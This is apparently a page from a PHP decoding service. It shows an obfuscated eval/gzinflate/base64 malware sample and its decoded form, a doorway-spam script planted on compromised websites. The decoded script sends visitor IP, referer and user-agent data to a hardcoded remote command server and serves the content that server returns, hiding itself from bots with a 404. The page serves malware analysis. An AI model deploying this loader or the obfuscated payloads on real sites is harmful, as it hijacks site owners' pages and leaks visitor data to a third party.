Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\..
Decoded Output download
?><?php
ini_set('display_errors', "Off");
$testgoodkeys=""; /* ,
. . . , .*/
$zaprosname="q"; //
$servurl="http://37.1.216.50/cache/result_doorway/all_domens/003/pratiko.ca/door.php?com=makeclient"; //
$servurl=str_ireplace("?com=makeclient", "", $servurl);
$imagesurl=explode("/", $servurl);
$tempcount=count($imagesurl);
unset($imagesurl[$tempcount-1]);
$imagesurl=implode("/", $imagesurl);
$locallinkview="[SITE]/[KEYLINKVIEW].html";
$locallinkview=explode("/",$locallinkview);
$tempcount=count($locallinkview);
if(empty($locallinkview[$tempcount-1])){
unset($locallinkview[$tempcount-1]);
}
$locallinkview=implode("/", $locallinkview);
$testkey="";
$key="";
if(!empty($_SERVER['HTTP_REFERER'])){$referer=$_SERVER['HTTP_REFERER'];}else{$referer="";}
if(!empty($_SERVER['HTTP_USER_AGENT'])){$useragent=$_SERVER['HTTP_USER_AGENT'];}else{$useragent="";}
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}
elseif(!empty($_SERVER['REMOTE_ADDR']))
{$ip=$_SERVER['REMOTE_ADDR'];}
else
{$ip="";}
if(!empty($locallinkview)){
$url=$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$url=explode("/", $url);
$tempcount=count($url);
if(empty($url[$tempcount-1])){
unset($url[$tempcount-1]);
}
$url=implode("/", $url)."qqqqq";
$regular=str_ireplace("[KEYLINKVIEW]", "([^/]*)", $locallinkview);
$regular=$regular."qqqqq";
$regular=str_ireplace("[SITE]", "([^\s]+)", $regular);
$regular=str_ireplace("?", "\?", $regular);
$regular=str_ireplace("/", "\/", $regular);
$regular="/".$regular."/iU";
preg_match($regular, $url, $match);
if($match[2]){
$key=trim($match[2]);
}else
{$testkey="test";}
}
$thisdoorfilename="http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
if(strpos("qqq ".$thisdoorfilename, "?com=botdetected")){
$content=getserverpage($servurl, "", "botdetected" ,$ip, "", "", "", "");
header('HTTP/1.1 404 Not Found');
header('Status: 404 Not Found');
echo $content;
exit();
}
$thisdoorwayurl=$thisdoorfilename;
$thisdoorfilename=str_ireplace("http://", "", $thisdoorfilename);
if(!strpos($thisdoorfilename, "?".$zaprosname."=")){
$thisdoorfilenamecache=explode("/", $thisdoorfilename);
$tempcount=count($thisdoorfilenamecache);
if(empty($thisdoorfilenamecache[$tempcount-1])){
unset($thisdoorfilenamecache[$tempcount-1]);
unset($thisdoorfilenamecache[$tempcount-2]);
}
else{
unset($thisdoorfilenamecache[$tempcount-1]);
}
$thisdoorfilenamecache=implode("/", $thisdoorfilenamecache);
}
else{
$thisdoorfilenamearray=explode("?".$zaprosname."=", $thisdoorfilename);
if(is_array($thisdoorfilenamearray)) {
$thisdoorfilename = $thisdoorfilenamearray[0];
$thisdoorfilenamecache=trim($thisdoorfilenamearray[0]);
}
}
if(empty($key)){
if(!empty($_GET[$zaprosname])){$key=trim($_GET[$zaprosname]);}
}
if(!empty($_GET['com'])){$com=trim($_GET['com']);}else{$com="";}
$thiisgoodkey="good";
if(!empty($testgoodkeys)){
$testgoodkeys=explode(",", $testgoodkeys);
foreach($testgoodkeys as $testgoodkey){
$testgoodkey=trim($testgoodkey);
if(stripos("qqq".$key, $testgoodkey)){
$thiisgoodkey="good";
break;
}else{
$thiisgoodkey="";
}
}
}
if(!empty($thiisgoodkey) && empty($testkey) && !empty($locallinkview)){
$content=getserverpage($servurl, $key, $com ,$ip, trim($thisdoorfilenamecache), $thisdoorwayurl, $referer, $useragent);
if(!empty($content)){
echo $content;
die();
}
}elseif(!empty($thiisgoodkey) && empty($locallinkview)){
$content=getserverpage($servurl, $key, $com ,$ip, trim($thisdoorfilenamecache), $thisdoorwayurl, $referer, $useragent);
echo $content;
die();
}
function getserverpage($servurl, $keyword, $command ,$ip, $cachedir, $thisdoorwayurl, $referer, $useragent){
global $zaprosname;
global $imagesurl;
if(!empty($command)){$command="&com=".$command;}else{$command="";}
if(!empty($ip)){$ip="&ip=".$ip;}else{$ip="";}
if(!empty($cachedir)){$cachedir="&cachedir=".$cachedir;}else{$cachedir="";}
$thisdoorwayurl="&clurl=".trim($thisdoorwayurl);
$serveqname="?q=";
$site=$servurl."".$serveqname."".$keyword."".$command."".$ip."".$cachedir."".$thisdoorwayurl
."&clientqname=".$zaprosname;
//var_dump($site);
$ch = curl_init();
//GET URL
curl_setopt($ch, CURLOPT_URL, $site);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_REFERER, $referer);
$content = curl_exec($ch);
echo curl_error($ch);
//var_dump($content);
curl_close($ch);
$content=str_ireplace($serveqname, "?".$zaprosname."=", $content);
$content=str_ireplace("./images", $imagesurl."/images", $content);
return $content;
}
?>
Did this file decode correctly?
Original Code
<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TZTHDqRYFkT/pTfdLRa4hAdqzQIS7z2ZqDaQeO/d13fWVEkzi1AoIs7d3myP27/++HGSxI8TkF9Hv3r+ODHq6+DbMV+nv+K/In9tPxnw+HXzXw773eG/OvzL4d+dEL75N0f+3P4vY9SfZ2DjN2SEvHXsKHEYwnIoZbGKjWPnridqm/wmnEd/oujeg+MJPiZd6UYVhRlXglC7tYyAIDipB73IWQSlRQtlIEkobjkfayqiu5954EiqJ7rYVGcCoj50s3P77VENpcNW1cJkSxHklOPzOdZ7vfdRXfRzgDGpgxyTSiDdO9GkmHEknx5QfOuyxIxQ7sRpDDc9uHhkzGDEgn2ys6U98hvghQ523l9hQiYHaNZGE3H8ZGjg5kSvWnBL2toUH8KGVgDv6jLaYI/RoFbBu1fz50oesSfs4wGfa3eeoMNKVwhR97GNHgTnKJDhwvzAcAIkuIdpNBCV56yl8uWKQ8L1Jqx9NiBRBCEyrIkcTpS4axKSBS4Mw/TWluiJ6bX/NBwiEJNJDQMWLeZaOIwWQtyXqSGxMIZe1BGkqDqZwoBihfyTY+MrUJlVU4HNokcXMa7TMOQtKod0N8qT125Ha8+FQYa9wFWWB1Cy0kkX9nrO9XHKWRPGIq40+uXq6zt9LVwnbG/N8wtNvX11PZoqRZdNj2McLdnwFVdjXZTICPcYgjItV9OHwIVJNM9WlEzlp9ClAz+kst7GdbJy8wE9pCbw1Upbr7OA2RKpRJw/o1nxi5W4vbLLTJ7o9Mdbnlh1YjuZf6LpEQH52SvMIcw4aRD4kBfADe0X6lOEvZMveuSeVLWENUphhxE9Xrz8UW8Xm+Qz2/J8CgcwKEQmtizPbmWweJBUaIm1vi+uiVu/GjxOiIdbjaVAunmIt5OXpmpDva+qVDTVkgCnhbGJG9s1jUGEUbvTJVY/VgsmNonVBGd3qAIipn7yqRSuFNMDfpqUd01qykzwAOWXPmslWptjj3OyByGH6OmbbZijWSZ61OaopUnaR1ClKivXZVGmJus/AnmVqkUC1qpxASzXAqiP694KkqELzbi3G+54EJZSigA86MnOr19jsnZe/Y5qqQmRLWoyjNeCmMIaxU9Kj9RP2LJUH7xs3T8ObGngN8UlSJGs9Wa83pkN5UWaJ8sxB/bssPW1DJtF7K55DdKKxxVTAz2z4wTvhIRcwziMyI9YQdJie0MW6h2I3CZuQo+AxsCHQ35L51Pg3gOyyEULiCXnMQ+y+81btPH23iSmJva0S7Knwqg0ezzA2AO1jYGV7VBIXIwj2z5/+q89Rcuy2nQFJS3cMebgKkWFUZA2nT8XK8wGc8aFXqT3ewxnCvnUKWK8WsEsU2C41oK/8JqGwOBaMsfl29P5jJyZtgbpX/DrFLK7oYlPnMaZtQRxECsO7u8bHQvwSwQpkfheMsC2Z9vClBneA9TWiwtk7t5qU2jX6Byb2OG44X4SRgNhYXkg+xXGQK/sAmi0icoZhRH3zvgbDq04q7i9aBrNEuYtXbwR52acdgVNL5f4VcX7VY6DsA42kXxPUeo/f34/MP0/4ewff//zLw=='\x29\x29\x29\x3B");
?>
<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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'\x29\x29\x29\x3B");
?>
Function Calls
| gzinflate | 22 |
| depyfs82833 | 1 |
| dhiacm04202 | 1 |
| dmpkyb82831 | 1 |
| dqiyzv04201 | 1 |
| dzoukd82832 | 1 |
| base64_decode | 22 |
Stats
| MD5 | 8763c6397722369c980b116093b88389 |
| Eval Count | 39 |
| Decode Time | 143 ms |